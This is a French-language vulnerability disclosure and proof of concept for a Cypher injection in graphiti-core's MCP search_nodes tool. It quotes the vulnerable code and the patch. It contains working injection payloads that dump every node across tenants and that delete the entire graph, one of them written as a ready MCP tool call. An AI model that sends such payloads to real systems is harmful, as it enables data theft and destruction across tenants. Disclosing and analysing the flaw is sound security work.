
Preuve de concept pour CVE-2026-32247, une injection Cypher dans graphiti-core via des node_labels non assainis, démontrant l'exfiltration de données et la suppression de graphes via MCP search_nodes.
Gravité : Élevée (CVSS 8.1)
CWE : CWE-943 — Neutralisation incorrecte d'éléments spéciaux dans la logique de requête de données
Affecté : graphiti-core <= 0.28.1 (pip)
Corrigé dans : 0.28.2
Avis : GHSA-gg5m-55jj-8m5g
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Crédit : Romain Deperne
graphiti-core construit des clauses WHERE Cypher en joignant des chaînes de labels de nœuds fournies par l'utilisateur avec | et en les concaténant dans une requête brute. Un attaquant peut injecter des opérateurs Cypher arbitraires, exfiltrer des données depuis n'importe quel nœud du graphe à travers tous les tenants, ou supprimer l'intégralité du graphe — aucune paramétrisation, aucune validation nulle part dans la chaîne.
J'ai examiné la construction des requêtes à la frontière entre l'outil MCP et la base de données de graphe. Dans search_filters.py, 'n:' + node_labels concaténait des valeurs issues du paramètre d'outil entity_types directement dans une requête Cypher.
Ce qui rendait cela intéressant au-delà d'une injection standard : la clause WITH de Cypher permet de sortir d'un contexte WHERE et de démarrer un tout nouveau pipeline. Ainsi, ) ferme l'expression de label entre parenthèses, WITH n effectue la transition vers une nouvelle clause, et // abandonne silencieusement le reste de la requête d'origine. Une seule charge utile, un accès complet au graphe.
J'ai d'abord reproduit la construction de la requête dans un script autonome, puis vérifié le cas destructif contre une base de données de graphe avant de le signaler.
Fichier : graphiti_core/search/search_filters.py, lignes 91–92 et 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Point d'entrée : mcp_server/src/graphiti_mcp_server.py, ligne 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
Le paramètre entity_types circule depuis l'appel de l'outil MCP search_nodes directement dans le constructeur de requête. Les backends Neo4j et FalkorDB sont tous deux affectés. Le backend Kuzu n'est pas affecté car il utilise des requêtes paramétrées.
La valeur node_label_filter (n:Label1|Label2) est intégrée dans une requête Cypher comme suit :
WHERE (n:Label1|Label2) AND ...
Parce que les labels sont joints par | et entourés de parenthèses par l'appelant, un attaquant n'a qu'à fermer l'expression avec ) et injecter de nouvelles clauses Cypher. L'opérateur de commentaire // supprime le reste de la requête d'origine.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Via un appel d'outil MCP :
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE efface l'intégralité du graphegroup_id est appliqué après le filtre de label injectable — l'injection d'une clause WITH le contourne entièrementLa version corrigée valide les labels de nœuds par rapport à une liste d'autorisation de caractères alphanumériques avant l'interpolation, et le chemin de recherche fulltext utilise des requêtes paramétrées pour les valeurs group_id.